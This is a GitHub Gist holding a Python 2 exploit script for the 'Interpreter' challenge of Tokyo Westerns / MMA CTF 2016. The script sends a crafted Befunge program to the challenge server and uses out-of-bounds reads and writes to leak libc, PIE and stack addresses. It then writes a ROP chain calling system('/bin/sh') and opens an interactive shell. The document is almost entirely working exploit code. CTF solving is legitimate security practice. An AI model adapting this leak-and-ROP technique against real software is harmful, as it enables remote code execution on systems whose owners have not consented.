Created
September 7, 2016 08:22
-
-
Save akiym/c03dfb93ae64ad38c770eed811ce78e6 to your computer and use it in GitHub Desktop.
Interpreter - Tokyo Westerns / MMA CTF 2nd 2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import os | |
import sys | |
import time | |
import re | |
import struct | |
import socket | |
p = lambda x: struct.pack('<Q', x) | |
u = lambda x: struct.unpack('<Q', x)[0] | |
def connect(host, port): | |
return socket.create_connection((host, port)) | |
def recvuntil(st, debug=False): | |
ret = '' | |
while st not in ret: | |
lret = s.recv(1) | |
if debug and len(lret) > 0: | |
sys.stdout.write(lret) | |
ret += lret | |
return ret | |
def recvn(n): | |
ret = '' | |
while len(ret) != n: | |
ret += s.recv(1) | |
return ret | |
def interact(): | |
import telnetlib | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
def process(cmd): | |
import subprocess | |
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) | |
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' | |
if REMOTE: | |
host = 'pwn1.chal.ctf.westerns.tokyo' | |
port = 62839 | |
offset = { | |
'__libc_start_main': 0x21e50, | |
'system': 0x46590, | |
'/bin/sh': 0x17c8c3, # str | |
'__libc_argv': 0x3c3be0, | |
} | |
else: | |
host = '127.0.0.1' | |
port = 4000 | |
offset = { | |
'__libc_start_main': 0x21dd0, | |
'system': 0x46640, | |
'/bin/sh': 0x17ccdb, # str | |
'__libc_argv': 0x3c3be0, | |
} | |
s = connect(host, port) | |
program = """ | |
>&0g,&0g,&0g,&0g,&0g,&0g,v | |
v,g0&,g0&,g0&,g0&,g0&,g0&< | |
>&&&*g,&&&*g,&&&*g,&&&*g,&&&*g,&&&*g,v | |
vp*&&&&p*&&&&p*&&&&p*&&&&p*&&&&p*&&&&< | |
>&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*pv | |
vp*&&&&p*&&&&p*&&&&p*&&&&p*&&&&p*&&&&< | |
>&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p>< | |
""".strip() | |
i = 0 | |
prg = '' | |
for line in program.splitlines(): | |
assert len(line) <= 80 | |
prg += line.ljust(80, 'A') + '\n' | |
i += 1 | |
for _ in range(25-i): | |
prg += 'A' * 80 + '\n' | |
for line in prg.splitlines(): | |
recvuntil('> ') | |
s.send(line + '\n') | |
def sign(n): | |
return struct.unpack('<I', struct.pack('<i', n))[0] | |
def leak_address(off): | |
leak = '' | |
for i in range(6): | |
s.send('%d\n' % sign(off+i)) | |
leak += recvn(1) | |
return u(leak + '\0\0') | |
libc = leak_address(-208) - offset['__libc_start_main'] | |
print 'libc : %x' % libc | |
pie_base = leak_address(-96) - 0x202040 | |
print 'pie_base : %x' % pie_base | |
program_base = pie_base+0x202040 | |
m = 100000 | |
stack = '' | |
off = (libc+offset['__libc_argv']) - program_base | |
for i in range(6): | |
s.send('%d\n' % sign((off+i)%m)) | |
s.send('%d\n' % sign((off+i)/m)) | |
s.send('%d\n' % (m/80)) | |
stack += recvn(1) | |
stack = u(stack + '\0\0') | |
print 'stack : %x' % stack | |
pop_rdi = pie_base+0x120c | |
payload = ( | |
p(pop_rdi) + | |
p(libc+offset['/bin/sh']) + | |
p(libc+offset['system']) + | |
'' | |
) | |
off = (stack-0xe0) - program_base | |
for i in range(len(payload)): | |
s.send('%d\n' % ord(payload[i])) | |
s.send('%d\n' % sign((off+i)%m)) | |
s.send('%d\n' % sign((off+i)/m)) | |
s.send('%d\n' % (m/80)) | |
interact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment